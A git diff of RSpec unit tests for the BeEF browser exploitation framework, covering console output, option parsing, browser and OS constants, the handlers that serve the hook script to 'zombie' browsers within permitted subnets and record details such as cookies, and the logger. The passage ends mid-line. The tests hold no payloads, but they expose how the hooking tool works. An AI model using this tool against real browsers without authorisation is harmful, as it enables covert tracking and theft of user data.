receive(:hook_file_path).and_return('/hook.js') + allow(config).to receive(:get).with('beef.extension.admin_ui.enable').and_return(true) + allow(config).to receive(:get).with('beef.extension.admin_ui.base_path').and_return('/ui') + allow(config).to receive(:local_port).and_return(3000) + allow(config).to receive(:public_enabled?).and_return(true) + allow(config).to receive(:hook_url).and_return('http://public.example.com/hook.js') + allow(config).to receive(:beef_url_str).and_return('http://public.example.com') + + described_class.print_network_interfaces_routes + + expect(described_class).to have_received(:print_info).with('Public:') + expect(described_class).to have_received(:print_more).with(a_string_including('http://public.example.com/hook.js')) + expect(described_class).to have_received(:print_more).at_least(:once).with(a_string_including('/ui/panel')) + end + end + + describe '.print_websocket_servers' do + it 'prints WebSocket server line with host, port and timer' do + allow(config).to receive(:beef_host).and_return('0.0.0.0') + allow(config).to receive(:get).with('beef.http.websocket.ws_poll_timeout').and_return(5) + allow(config).to receive(:get).with('beef.http.websocket.port').and_return(61_985) + allow(config).to receive(:get).with('beef.http.websocket.secure').and_return(false) + + described_class.print_websocket_servers + + expect(described_class).to have_received(:print_info).with('Starting WebSocket server ws://0.0.0.0:61985 [timer: 5]') + end + + it 'prints WebSocketSecure server when secure enabled' do + allow(config).to receive(:beef_host).and_return('0.0.0.0') + allow(config).to receive(:get).with('beef.http.websocket.ws_poll_timeout').and_return(10) + allow(config).to receive(:get).with('beef.http.websocket.port').and_return(61_985) + allow(config).to receive(:get).with('beef.http.websocket.secure').and_return(true) + allow(config).to receive(:get).with('beef.http.websocket.secure_port').and_return(61_986) + + described_class.print_websocket_servers + + expect(described_class).to have_received(:print_info).with('Starting WebSocket server ws://0.0.0.0:61985 [timer: 10]') + expect(described_class).to have_received(:print_info).with(a_string_matching(/WebSocketSecure.*wss:.*61986.*timer: 10/)) + end + end + + describe '.print_http_proxy' do + it 'prints proxy address and port from config' do + allow(config).to receive(:get).with('beef.extension.proxy.address').and_return('127.0.0.1') + allow(config).to receive(:get).with('beef.extension.proxy.port').and_return(8080) + + described_class.print_http_proxy + + expect(described_class).to have_received(:print_info).with('HTTP Proxy: http://127.0.0.1:8080') + end + end + + describe '.print_dns' do + it 'does not raise when DNS config is not set' do + expect { described_class.print_dns }.not_to raise_error + end + end +end diff --git a/spec/beef/core/main/console/commandline_spec.rb b/spec/beef/core/main/console/commandline_spec.rb new file mode 100644 index 000000000..2804b6b30 --- /dev/null +++ b/spec/beef/core/main/console/commandline_spec.rb @@ -0,0 +1,126 @@ +# +# Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net +# Browser Exploitation Framework (BeEF) - https://beefproject.com +# See the file 'doc/COPYING' for copying permission +# + +require 'spec_helper' + +RSpec.describe BeEF::Core::Console::CommandLine do + DEFAULT_OPTIONS = { + verbose: false, + resetdb: false, + ascii_art: false, + ext_config: '', + port: '', + ws_port: '', + update_disabled: false, + update_auto: false + }.freeze + + def reset_commandline_state + described_class.instance_variable_set(:@already_parsed, false) + described_class.instance_variable_set(:@options, DEFAULT_OPTIONS.dup) + end + + before do + reset_commandline_state + end + + describe '.parse' do + it 'returns default options when ARGV is empty' do + original_argv = ARGV.dup + ARGV.replace([]) + result = described_class.parse + ARGV.replace(original_argv) + expect(result[:verbose]).to be false + expect(result[:resetdb]).to be false + expect(result[:ext_config]).to eq('') + expect(result[:port]).to eq('') + end + + it 'sets verbose when -v is given' do + original_argv = ARGV.dup + ARGV.replace(%w[-v]) + result = described_class.parse + ARGV.replace(original_argv) + expect(result[:verbose]).to be true + end + + it 'sets resetdb when -x is given' do + original_argv = ARGV.dup + ARGV.replace(%w[-x]) + result = described_class.parse + ARGV.replace(original_argv) + expect(result[:resetdb]).to be true + end + + it 'sets ascii_art when -a is given' do + original_argv = ARGV.dup + ARGV.replace(%w[-a]) + result = described_class.parse + ARGV.replace(original_argv) + expect(result[:ascii_art]).to be true + end + + it 'sets ext_config when -c FILE is given' do + original_argv = ARGV.dup + ARGV.replace(%w[-c custom.yaml]) + result = described_class.parse + ARGV.replace(original_argv) + expect(result[:ext_config]).to eq('custom.yaml') + end + + it 'sets port when -p PORT is given' do + original_argv = ARGV.dup + ARGV.replace(%w[-p 9090]) + result = described_class.parse + ARGV.replace(original_argv) + expect(result[:port]).to eq('9090') + end + + it 'sets ws_port when -w WS_PORT is given' do + original_argv = ARGV.dup + ARGV.replace(%w[-w 61985]) + result = described_class.parse + ARGV.replace(original_argv) + expect(result[:ws_port]).to eq('61985') + end + + it 'sets update_disabled when -d is given' do + original_argv = ARGV.dup + ARGV.replace(%w[-d]) + result = described_class.parse + ARGV.replace(original_argv) + expect(result[:update_disabled]).to be true + end + + it 'sets update_auto when -u is given' do + original_argv = ARGV.dup + ARGV.replace(%w[-u]) + result = described_class.parse + ARGV.replace(original_argv) + expect(result[:update_auto]).to be true + end + + it 'returns cached options on second parse' do + original_argv = ARGV.dup + ARGV.replace([]) + first = described_class.parse + ARGV.replace(%w[-v -x]) + second = described_class.parse + ARGV.replace(original_argv) + expect(second).to eq(first) + expect(second[:verbose]).to be false + end + + it 'prints and exits on invalid option' do + original_argv = ARGV.dup + ARGV.replace(%w[--invalid-option]) + allow(Kernel).to receive(:puts).with(/Invalid command line option/) + allow(Kernel).to receive(:exit).with(1) { raise SystemExit.new(1) } + expect { described_class.parse }.to raise_error(SystemExit) + ARGV.replace(original_argv) + end + end +end diff --git a/spec/beef/core/main/constants/browsers_spec.rb b/spec/beef/core/main/constants/browsers_spec.rb new file mode 100644 index 000000000..c28ee66a8 --- /dev/null +++ b/spec/beef/core/main/constants/browsers_spec.rb @@ -0,0 +1,60 @@ +# +# Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net +# Browser Exploitation Framework (BeEF) - https://beefproject.com +# See the file 'doc/COPYING' for copying permission +# + +require 'spec_helper' + +RSpec.describe BeEF::Core::Constants::Browsers do + describe 'constants' do + it 'defines short browser codes' do + expect(described_class::FF).to eq('FF') + expect(described_class::C).to eq('C') + expect(described_class::IE).to eq('IE') + expect(described_class::S).to eq('S') + expect(described_class::ALL).to eq('ALL') + expect(described_class::UNKNOWN).to eq('UN') + end + + it 'defines friendly names' do + expect(described_class::FRIENDLY_FF_NAME).to eq('Firefox') + expect(described_class::FRIENDLY_C_NAME).to eq('Chrome') + expect(described_class::FRIENDLY_UN_NAME).to eq('UNKNOWN') + end + end + + describe '.friendly_name' do + it 'returns Firefox for FF' do + expect(described_class.friendly_name(described_class::FF)).to eq('Firefox') + end + + it 'returns Chrome for C' do + expect(described_class.friendly_name(described_class::C)).to eq('Chrome') + end + + it 'returns Internet Explorer for IE' do + expect(described_class.friendly_name(described_class::IE)).to eq('Internet Explorer') + end + + it 'returns Safari for S' do + expect(described_class.friendly_name(described_class::S)).to eq('Safari') + end + + it 'returns MSEdge for E' do + expect(described_class.friendly_name(described_class::E)).to eq('MSEdge') + end + + it 'returns UNKNOWN for UN' do + expect(described_class.friendly_name(described_class::UNKNOWN)).to eq('UNKNOWN') + end + + it 'returns nil for unknown browser code' do + expect(described_class.friendly_name('XX')).to be_nil + end + + it 'returns nil for nil' do + expect(described_class.friendly_name(nil)).to be_nil + end + end +end diff --git a/spec/beef/core/main/constants/commandmodule_spec.rb b/spec/beef/core/main/constants/commandmodule_spec.rb new file mode 100644 index 000000000..eb94fc00a --- /dev/null +++ b/spec/beef/core/main/constants/commandmodule_spec.rb @@ -0,0 +1,18 @@ +# +# Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net +# Browser Exploitation Framework (BeEF) - https://beefproject.com +# See the file 'doc/COPYING' for copying permission +# + +require 'spec_helper' + +RSpec.describe BeEF::Core::Constants::CommandModule do + describe 'constants' do + it 'defines verified working status values' do + expect(described_class::VERIFIED_WORKING).to eq(0) + expect(described_class::VERIFIED_UNKNOWN).to eq(1) + expect(described_class::VERIFIED_USER_NOTIFY).to eq(2) + expect(described_class::VERIFIED_NOT_WORKING).to eq(3) + end + end +end diff --git a/spec/beef/core/main/constants/hardware_spec.rb b/spec/beef/core/main/constants/hardware_spec.rb new file mode 100644 index 000000000..1846d0c4c --- /dev/null +++ b/spec/beef/core/main/constants/hardware_spec.rb @@ -0,0 +1,69 @@ +# +# Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net +# Browser Exploitation Framework (BeEF) - https://beefproject.com +# See the file 'doc/COPYING' for copying permission +# + +require 'spec_helper' + +RSpec.describe BeEF::Core::Constants::Hardware do + describe 'constants' do + it 'defines hardware UA strings and image paths' do + expect(described_class::HW_IPHONE_UA_STR).to eq('iPhone') + expect(described_class::HW_IPAD_UA_STR).to eq('iPad') + expect(described_class::HW_BLACKBERRY_UA_STR).to eq('BlackBerry') + expect(described_class::HW_ALL_UA_STR).to eq('All') + expect(described_class::HW_UNKNOWN_IMG).to eq('pc.png') + end + end + + describe '.match_hardware' do + it 'returns iPhone for iphone-like strings' do + expect(described_class.match_hardware('iPhone')).to eq('iPhone') + expect(described_class.match_hardware('iPhone OS')).to eq('iPhone') + end + + it 'returns iPad for ipad-like strings' do + expect(described_class.match_hardware('iPad')).to eq('iPad') + end + + it 'returns iPod for ipod-like strings' do + expect(described_class.match_hardware('iPod')).to eq('iPod') + end + + it 'returns BlackBerry for blackberry-like strings' do + expect(described_class.match_hardware('BlackBerry')).to eq('BlackBerry') + end + + it 'returns Windows Phone for windows phone-like strings' do + expect(described_class.match_hardware('Windows Phone')).to eq('Windows Phone') + end + + it 'returns Kindle for kindle-like strings' do + expect(described_class.match_hardware('Kindle')).to eq('Kindle') + end + + it 'returns Nokia for nokia-like strings' do + expect(described_class.match_hardware('Nokia')).to eq('Nokia') + end + + it 'returns HTC for htc-like strings' do + expect(described_class.match_hardware('HTC')).to eq('HTC') + end + + it 'returns Nexus for google-like strings' do + expect(described_class.match_hardware('Google Nexus')).to eq('Nexus') + end + + it 'is case insensitive' do + expect(described_class.match_hardware('IPHONE')).to eq('iPhone') + expect(described_class.match_hardware('ipad')).to eq('iPad') + expect(described_class.match_hardware('BLACKBERRY')).to eq('BlackBerry') + end + + it 'returns ALL for unknown hardware strings' do + expect(described_class.match_hardware('UnknownDevice')).to eq('ALL') + expect(described_class.match_hardware('')).to eq('ALL') + end + end +end diff --git a/spec/beef/core/main/constants/os_spec.rb b/spec/beef/core/main/constants/os_spec.rb new file mode 100644 index 000000000..5cba824e9 --- /dev/null +++ b/spec/beef/core/main/constants/os_spec.rb @@ -0,0 +1,73 @@ +# +# Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net +# Browser Exploitation Framework (BeEF) - https://beefproject.com +# See the file 'doc/COPYING' for copying permission +# + +require 'spec_helper' + +RSpec.describe BeEF::Core::Constants::Os do + describe 'constants' do + it 'defines OS UA strings and image paths' do + expect(described_class::OS_WINDOWS_UA_STR).to eq('Windows') + expect(described_class::OS_LINUX_UA_STR).to eq('Linux') + expect(described_class::OS_MAC_UA_STR).to eq('Mac') + expect(described_class::OS_ANDROID_UA_STR).to eq('Android') + expect(described_class::OS_ALL_UA_STR).to eq('All') + expect(described_class::OS_UNKNOWN_IMG).to eq('unknown.png') + end + end + + describe '.match_os' do + it 'returns Windows for win-like strings' do + expect(described_class.match_os('Windows')).to eq('Windows') + expect(described_class.match_os('Windows NT')).to eq('Windows') + expect(described_class.match_os('Win32')).to eq('Windows') + end + + it 'returns Linux for lin-like strings' do + expect(described_class.match_os('Linux')).to eq('Linux') + expect(described_class.match_os('Lin')).to eq('Linux') + end + + it 'returns Mac for os x, osx, mac-like strings' do + expect(described_class.match_os('Mac OS X')).to eq('Mac') + expect(described_class.match_os('OSX')).to eq('Mac') + expect(described_class.match_os('Macintosh')).to eq('Mac') + end + + it 'returns iOS for iphone, ipad, ipod' do + expect(described_class.match_os('iPhone')).to eq('iOS') + expect(described_class.match_os('iPad')).to eq('iOS') + expect(described_class.match_os('iPod')).to eq('iOS') + expect(described_class.match_os('iOS')).to eq('iOS') + end + + it 'returns Android for android-like strings' do + expect(described_class.match_os('Android')).to eq('Android') + end + + it 'returns BlackBerry for blackberry-like strings' do + expect(described_class.match_os('BlackBerry')).to eq('BlackBerry') + end + + it 'returns QNX for qnx-like strings' do + expect(described_class.match_os('QNX')).to eq('QNX') + end + + it 'returns SunOS for sun-like strings' do + expect(described_class.match_os('SunOS')).to eq('SunOS') + end + + it 'is case insensitive' do + expect(described_class.match_os('WINDOWS')).to eq('Windows') + expect(described_class.match_os('linux')).to eq('Linux') + expect(described_class.match_os('ANDROID')).to eq('Android') + end + + it 'returns ALL for unknown OS strings' do + expect(described_class.match_os('UnknownOS')).to eq('ALL') + expect(described_class.match_os('')).to eq('ALL') + end + end +end diff --git a/spec/beef/core/main/crypto_spec.rb b/spec/beef/core/main/crypto_spec.rb index bfe4ccfbf..048d75c3e 100644 --- a/spec/beef/core/main/crypto_spec.rb +++ b/spec/beef/core/main/crypto_spec.rb @@ -59,6 +59,7 @@ RSpec.describe 'BeEF::Core::Crypto' do it 'raises TypeError for invalid inputs' do expect { BeEF::Core::Crypto.random_hex_string('invalid') }.to raise_error(TypeError) expect { BeEF::Core::Crypto.random_hex_string(0) }.to raise_error(TypeError, /Invalid length/) + expect { BeEF::Core::Crypto.random_hex_string(-1) }.to raise_error(TypeError, /Invalid length/) end end diff --git a/spec/beef/core/main/handlers/browserdetails_spec.rb b/spec/beef/core/main/handlers/browserdetails_spec.rb index 637dc0e83..92a761942 100644 --- a/spec/beef/core/main/handlers/browserdetails_spec.rb +++ b/spec/beef/core/main/handlers/browserdetails_spec.rb @@ -412,5 +412,158 @@ RSpec.describe BeEF::Core::Handlers::BrowserDetails do expect(BeEF::Core::Models::BrowserDetails).to receive(:set).with(session_id, 'network.proxy.server', 'proxy.example.com') described_class.new(proxy_data) end + + context 'filter failures (err_msg branches)' do + # Full data with optional keys so later filters (e.g. battery, capabilities) don't trigger err_msg + let(:full_data) do + data.merge('results' => data['results'].merge( + 'hardware.battery.level' => '50%', + 'browser.name.reported' => 'Mozilla/5.0', + 'browser.engine' => 'Gecko', + 'browser.window.cookies' => 'session=abc', + 'host.os.name' => 'Windows', + 'host.os.family' => 'Windows', + 'host.os.version' => '10', + 'browser.capabilities.vbscript' => 'yes' + )) + end + + def stub_all_filters_valid_except(except_key = nil) + %i[ + is_valid_hook_session_id? is_valid_browsername? is_valid_browserversion? is_valid_ip? + is_valid_browserstring? is_valid_cookies? is_valid_osname? is_valid_hwname? + is_valid_date_stamp? is_valid_pagetitle? is_valid_url? is_valid_pagereferrer? + is_valid_hostname? is_valid_port? is_valid_browser_plugins? is_valid_system_platform? + nums_only? is_valid_yes_no? is_valid_memory? is_valid_gpu? is_valid_cpu? alphanums_only? + ].each do |m| + allow(BeEF::Filters).to receive(m).and_return(except_key == m ? false : true) + end + end + + it 'calls err_msg when browser name is invalid' do + allow(BeEF::Core::Models::HookedBrowser).to receive(:where).and_return([]) + stub_all_filters_valid_except(:is_valid_browsername?) + allow(BeEF::Core::Models::BrowserDetails).to receive(:set) + allow(BeEF::Core::Constants::Browsers).to receive(:friendly_name) + zombie = double('HookedBrowser', id: 1, ip: '127.0.0.1') + allow(zombie).to receive(:firstseen=) + allow(zombie).to receive(:domain=) + allow(zombie).to receive(:port=) + allow(zombie).to receive(:httpheaders=) + allow(zombie).to receive(:httpheaders).and_return('{}') + allow(zombie).to receive(:save!) + allow(JSON).to receive(:parse).with('{}').and_return({}) + allow(BeEF::Core::Models::HookedBrowser).to receive(:new).and_return(zombie) + err_msg_calls = [] + allow_any_instance_of(described_class).to receive(:err_msg) { |*args| err_msg_calls << args.last } + described_class.new(full_data) + expect(err_msg_calls).to include(a_string_matching(/Invalid browser name/)) + end + + it 'calls err_msg when IP is invalid' do + allow(BeEF::Core::Models::HookedBrowser).to receive(:where).and_return([]) + stub_all_filters_valid_except(:is_valid_ip?) + allow(BeEF::Core::Models::BrowserDetails).to receive(:set) + allow(BeEF::Core::Constants::Browsers).to receive(:friendly_name).and_return('Firefox') + zombie = double('HookedBrowser', id: 1, ip: '127.0.0.1') + allow(zombie).to receive(:firstseen=) + allow(zombie).to receive(:domain=) + allow(zombie).to receive(:port=) + allow(zombie).to receive(:httpheaders=) + allow(zombie).to receive(:httpheaders).and_return('{}') + allow(zombie).to receive(:save!) + allow(JSON).to receive(:parse).with('{}').and_return({}) + allow(BeEF::Core::Models::HookedBrowser).to receive(:new).and_return(zombie) + err_msg_calls = [] + allow_any_instance_of(described_class).to receive(:err_msg) { |*args| err_msg_calls << args.last } + described_class.new(full_data) + expect(err_msg_calls).to include(a_string_matching(/Invalid IP address/)) + end + + it 'calls err_msg when browser version is invalid' do + allow(BeEF::Core::Models::HookedBrowser).to receive(:where).and_return([]) + stub_all_filters_valid_except(:is_valid_browserversion?) + allow(BeEF::Core::Models::BrowserDetails).to receive(:set) + allow(BeEF::Core::Constants::Browsers).to receive(:friendly_name).and_return('Firefox') + zombie = double('HookedBrowser', id: 1, ip: '127.0.0.1') + allow(zombie).to receive(:firstseen=) + allow(zombie).to receive(:domain=) + allow(zombie).to receive(:port=) + allow(zombie).to receive(:httpheaders=) + allow(zombie).to receive(:httpheaders).and_return('{}') + allow(zombie).to receive(:save!) + allow(JSON).to receive(:parse).with('{}').and_return({}) + allow(BeEF::Core::Models::HookedBrowser).to receive(:new).and_return(zombie) + err_msg_calls = [] + allow_any_instance_of(described_class).to receive(:err_msg) { |*args| err_msg_calls << args.last } + described_class.new(full_data) + expect(err_msg_calls).to include(a_string_matching(/Invalid browser version/)) + end + + it 'calls err_msg when browser.name.reported is invalid' do + allow(BeEF::Core::Models::HookedBrowser).to receive(:where).and_return([]) + allow(BeEF::Filters).to receive(:is_valid_browsername?).and_return(true) + allow(BeEF::Filters).to receive(:is_valid_browserversion?).and_return(true) + allow(BeEF::Filters).to receive(:is_valid_ip?).and_return(true) + allow(BeEF::Filters).to receive(:is_valid_browserstring?).and_return(false) + stub_all_filters_valid_except(nil) + allow(BeEF::Filters).to receive(:is_valid_browserstring?).and_return(false) + allow(BeEF::Core::Models::BrowserDetails).to receive(:set) + allow(BeEF::Core::Constants::Browsers).to receive(:friendly_name).and_return('Firefox') + zombie = double('HookedBrowser', id: 1, ip: '127.0.0.1') + allow(zombie).to receive(:firstseen=) + allow(zombie).to receive(:domain=) + allow(zombie).to receive(:port=) + allow(zombie).to receive(:httpheaders=) + allow(zombie).to receive(:httpheaders).and_return('{}') + allow(zombie).to receive(:save!) + allow(JSON).to receive(:parse).with('{}').and_return({}) + allow(BeEF::Core::Models::HookedBrowser).to receive(:new).and_return(zombie) + err_msg_calls = [] + allow_any_instance_of(described_class).to receive(:err_msg) { |*args| err_msg_calls << args.last } + described_class.new(full_data) + expect(err_msg_calls).to include(a_string_matching(/browser\.name\.reported/)) + end + + it 'calls err_msg when cookies are invalid' do + allow(BeEF::Core::Models::HookedBrowser).to receive(:where).and_return([]) + stub_all_filters_valid_except(:is_valid_cookies?) + allow(BeEF::Core::Models::BrowserDetails).to receive(:set) + allow(BeEF::Core::Constants::Browsers).to receive(:friendly_name).and_return('Firefox') + zombie = double('HookedBrowser', id: 1, ip: '127.0.0.1') + allow(zombie).to receive(:firstseen=) + allow(zombie).to receive(:domain=) + allow(zombie).to receive(:port=) + allow(zombie).to receive(:httpheaders=) + allow(zombie).to receive(:httpheaders).and_return('{}') + allow(zombie).to receive(:save!) + allow(JSON).to receive(:parse).with('{}').and_return({}) + allow(BeEF::Core::Models::HookedBrowser).to receive(:new).and_return(zombie) + err_msg_calls = [] + allow_any_instance_of(described_class).to receive(:err_msg) { |*args| err_msg_calls << args.last } + described_class.new(full_data) + expect(err_msg_calls).to include(a_string_matching(/Invalid cookies/)) + end + + it 'calls err_msg when host.os.name is invalid' do + allow(BeEF::Core::Models::HookedBrowser).to receive(:where).and_return([]) + stub_all_filters_valid_except(:is_valid_osname?) + allow(BeEF::Core::Models::BrowserDetails).to receive(:set) + allow(BeEF::Core::Constants::Browsers).to receive(:friendly_name).and_return('Firefox') + zombie = double('HookedBrowser', id: 1, ip: '127.0.0.1') + allow(zombie).to receive(:firstseen=) + allow(zombie).to receive(:domain=) + allow(zombie).to receive(:port=) + allow(zombie).to receive(:httpheaders=) + allow(zombie).to receive(:httpheaders).and_return('{}') + allow(zombie).to receive(:save!) + allow(JSON).to receive(:parse).with('{}').and_return({}) + allow(BeEF::Core::Models::HookedBrowser).to receive(:new).and_return(zombie) + err_msg_calls = [] + allow_any_instance_of(described_class).to receive(:err_msg) { |*args| err_msg_calls << args.last } + described_class.new(full_data) + expect(err_msg_calls).to include(a_string_matching(/operating system name/)) + end + end end end diff --git a/spec/beef/core/main/handlers/hookedbrowsers_spec.rb b/spec/beef/core/main/handlers/hookedbrowsers_spec.rb index 595b7f9e8..d3953f6c8 100644 --- a/spec/beef/core/main/handlers/hookedbrowsers_spec.rb +++ b/spec/beef/core/main/handlers/hookedbrowsers_spec.rb @@ -4,37 +4,160 @@ # See the file 'doc/COPYING' for copying permission # +require 'spec_helper' + RSpec.describe BeEF::Core::Handlers::HookedBrowsers do - # Test the confirm_browser_user_agent logic directly - describe 'confirm_browser_user_agent logic' do - it 'matches legacy browser user agents' do - allow(BeEF::Core::Models::LegacyBrowserUserAgents).to receive(:user_agents).and_return(['IE 8.0']) - - # Test the logic: browser_type = user_agent.split(' ').last - user_agent = 'Mozilla/5.0 IE 8.0' - browser_type = user_agent.split(' ').last - - # Test the matching logic - matched = false - BeEF::Core::Models::LegacyBrowserUserAgents.user_agents.each do |ua_string| - matched = true if ua_string.include?(browser_type) - end - - expect(matched).to be true + # .new returns Sinatra::Wrapper; use allocate to get the real class instance for unit testing + let(:handler) { described_class.allocate } + + describe "GET '/'" do + let(:config) { BeEF::Core::Configuration.instance } + # Use a host permitted by Router's host_authorization (.localhost, .test, or config public host) + let(:rack_env) { { 'REMOTE_ADDR' => '192.168.1.1', 'HTTP_HOST' => 'localhost' } } + + def app + described_class end - it 'does not match non-legacy browser user agents' do - allow(BeEF::Core::Models::LegacyBrowserUserAgents).to receive(:user_agents).and_return([]) - - user_agent = 'Chrome/91.0' - browser_type = user_agent.split(' ').last - - matched = false - BeEF::Core::Models::LegacyBrowserUserAgents.user_agents.each do |ua_string| - matched = true if ua_string.include?(browser_type) + before do + allow(BeEF::Core::Logger.instance).to receive(:register) + allow(config).to receive(:get).and_call_original + allow(config).to receive(:get).with('beef.http.restful_api.allow_cors').and_return(false) + end + + it 'returns 404 when permitted_hooking_subnet is nil' do + allow(config).to receive(:get).with('beef.restrictions.permitted_hooking_subnet').and_return(nil) + get '/', {}, rack_env + expect(last_response.status).to eq(404) + end + + it 'returns 404 when permitted_hooking_subnet is empty' do + allow(config).to receive(:get).with('beef.restrictions.permitted_hooking_subnet').and_return([]) + get '/', {}, rack_env + expect(last_response.status).to eq(404) + end + + it 'returns 404 when client IP is not in permitted subnet' do + allow(config).to receive(:get).with('beef.restrictions.permitted_hooking_subnet').and_return(['10.0.0.0/8']) + get '/', {}, rack_env + expect(last_response.status).to eq(404) + end + + it 'returns 404 when client IP is in excluded_hooking_subnet' do + allow(config).to receive(:get).with('beef.restrictions.permitted_hooking_subnet').and_return(['0.0.0.0/0']) + allow(config).to receive(:get).with('beef.restrictions.excluded_hooking_subnet').and_return(['192.168.1.0/24']) + get '/', {}, rack_env + expect(last_response.status).to eq(404) + end + + it 'returns 200 and hook body when IP permitted, not excluded, no session (new browser)' do + allow(config).to receive(:get).with('beef.restrictions.permitted_hooking_subnet').and_return(['192.168.0.0/16']) + allow(config).to receive(:get).with('beef.restrictions.excluded_hooking_subnet').and_return([]) + allow(config).to receive(:get).with('beef.http.hook_session_name').and_return('beefhook') + allow(BeEF::Core::Models::HookedBrowser).to receive(:where).and_return([]) + allow(BeEF::Filters).to receive(:is_valid_hostname?).with('localhost').and_return(true) + allow(config).to receive(:get).with('beef.http.websocket.enable').and_return(false) + allow_any_instance_of(described_class).to receive(:confirm_browser_user_agent).and_return(false) + allow_any_instance_of(described_class).to receive(:legacy_build_beefjs!).with('localhost') + get '/', {}, rack_env + expect(last_response.status).to eq(200) + expect(last_response.headers['Content-Type']).to include('javascript') + end + + it 'uses multi_stage_beefjs when websocket disabled and confirm_browser_user_agent true' do + allow(config).to receive(:get).with('beef.restrictions.permitted_hooking_subnet').and_return(['0.0.0.0/0']) + allow(config).to receive(:get).with('beef.restrictions.excluded_hooking_subnet').and_return([]) + allow(config).to receive(:get).with('beef.http.hook_session_name').and_return('beefhook') + allow(BeEF::Core::Models::HookedBrowser).to receive(:where).and_return([]) + allow(BeEF::Filters).to receive(:is_valid_hostname?).with('localhost').and_return(true) + allow(config).to receive(:get).with('beef.http.websocket.enable').and_return(false) + allow_any_instance_of(described_class).to receive(:confirm_browser_user_agent).and_return(true) + allow_any_instance_of(described_class).to receive(:multi_stage_beefjs!).with('localhost') + get '/', {}, { 'REMOTE_ADDR' => '127.0.0.1', 'HTTP_HOST' => 'localhost' } + expect(last_response.status).to eq(200) + end + + it 'returns early with empty body when hostname is invalid' do + allow(config).to receive(:get).with('beef.restrictions.permitted_hooking_subnet').and_return(['0.0.0.0/0']) + allow(config).to receive(:get).with('beef.restrictions.excluded_hooking_subnet').and_return([]) + allow(config).to receive(:get).with('beef.http.hook_session_name').and_return('beefhook') + allow(BeEF::Core::Models::HookedBrowser).to receive(:where).and_return([]) + # Use permitted host so request reaches handler; stub hostname validation to fail + allow(BeEF::Filters).to receive(:is_valid_hostname?).with('localhost').and_return(false) + get '/', {}, { 'REMOTE_ADDR' => '127.0.0.1', 'HTTP_HOST' => 'localhost' } + expect(last_response.status).to eq(200) + expect(last_response.body).to eq('') + end + + context 'when session exists (existing browser path)' do + let(:hooked_browser) do + double('HookedBrowser', + id: 1, + ip: '192.168.1.1', + lastseen: Time.new.to_i - 120, + session: 'existing_session', + count!: nil, + save!: true).tap do |d| + allow(d).to receive(:lastseen=) + allow(d).to receive(:ip=) + end end - - expect(matched).to be false + + before do + allow(config).to receive(:get).with('beef.restrictions.permitted_hooking_subnet').and_return(['192.168.0.0/16']) + allow(config).to receive(:get).with('beef.restrictions.excluded_hooking_subnet').and_return([]) + allow(config).to receive(:get).with('beef.http.hook_session_name').and_return('beefhook') + allow(config).to receive(:get).with('beef.http.allow_reverse_proxy').and_return(false) + relation = double('Relation', first: hooked_browser) + allow(BeEF::Core::Models::HookedBrowser).to receive(:where).with(session: 'existing_session').and_return(relation) + allow(BeEF::Core::Models::Command).to receive(:where).with(hooked_browser_id: 1, instructions_sent: false).and_return([]) + allow(BeEF::API::Registrar.instance).to receive(:fire) + end + + it 'returns 200 and updates lastseen' do + get '/', { 'beefhook' => 'existing_session' }, rack_env + expect(last_response.status).to eq(200) + expect(hooked_browser).to have_received(:save!) + end + + it 'logs zombie comeback when lastseen was more than 60 seconds ago' do + get '/', { 'beefhook' => 'existing_session' }, rack_env + expect(BeEF::Core::Logger.instance).to have_received(:register).with('Zombie', /appears to have come back online/, '1') + end + + it 'calls add_command_instructions for each pending command' do + command = double('Command', id: 1, command_module_id: 1) + allow(BeEF::Core::Models::Command).to receive(:where).with(hooked_browser_id: 1, instructions_sent: false).and_return([command]) + expect_any_instance_of(described_class).to receive(:add_command_instructions).with(command, hooked_browser) + get '/', { 'beefhook' => 'existing_session' }, rack_env + end + end + end + + describe '#confirm_browser_user_agent' do + it 'returns true when user_agent suffix matches a legacy UA string' do + allow(BeEF::Core::Models::LegacyBrowserUserAgents).to receive(:user_agents).and_return(['IE 8.0']) + + # browser_type = user_agent.split(' ').last => '8.0'; 'IE 8.0'.include?('8.0') => true + expect(handler.confirm_browser_user_agent('Mozilla/5.0 IE 8.0')).to be true + end + + it 'returns true when first legacy UA matches' do + allow(BeEF::Core::Models::LegacyBrowserUserAgents).to receive(:user_agents).and_return(['IE 8.0', 'Firefox/3.6']) + + expect(handler.confirm_browser_user_agent('Mozilla/5.0 IE 8.0')).to be true + end + + it 'returns false when no legacy UA includes the browser type' do + allow(BeEF::Core::Models::LegacyBrowserUserAgents).to receive(:user_agents).and_return([]) + + expect(handler.confirm_browser_user_agent('Mozilla/5.0 Chrome/91.0')).to be false + end + + it 'returns false when legacy list has entries but none match' do + allow(BeEF::Core::Models::LegacyBrowserUserAgents).to receive(:user_agents).and_return(['IE 8.0']) + + expect(handler.confirm_browser_user_agent('Chrome/91.0')).to be false end end end diff --git a/spec/beef/core/main/logger_spec.rb b/spec/beef/core/main/logger_spec.rb new file mode 100644 index 000000000..5bb6a3c8c --- /dev/null +++ b/spec/beef/core/main/logger_spec.rb @@ -0,0 +1,75 @@ +# +# Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net +# Browser Exploitation Framework (BeEF) - https://beefproject.com +# See the file 'doc/COPYING' for copying permission +# + +require 'spec_helper' + +RSpec.describe BeEF::Core::Logger do + let(:logger) { described_class.instance } + let(:log_double) { instance_double(BeEF::Core::Models::Log, save!: true) } + + before do + allow(BeEF::Core::Models::Log).to receive(:create).and_return(log_double) + allow(logger).to receive(:print_debug) + logger.instance_variable_set(:@notifications, nil) + end + + describe '#register' do + it 'creates a log entry with from, event, and hooked_browser_id' do + result = logger.register('Authentication', 'User logged in', 0) + + expect(result).to be true + expect(BeEF::Core::Models::Log).to have_received(:create).with( + hash_including( + logtype: 'Authentication', + event: 'User logged in', + hooked_browser_id: 0 + ) + ) + expect(log_double).to have_received(:save!) + end + + it 'converts hb to integer' do + logger.register('From', 'Event', '42') + + expect(BeEF::Core::Models::Log).to have_received(:create).with( + hash_including(hooked_browser_id: 42) + ) + end + + it 'defaults hb to 0 when not provided' do + logger.register('From', 'Event') + + expect(BeEF::Core::Models::Log).to have_received(:create).with( + hash_including(hooked_browser_id: 0) + ) + end + + it 'raises TypeError when from is not a String' do + expect { logger.register(123, 'Event', 0) }.to raise_error( + TypeError, "'from' is 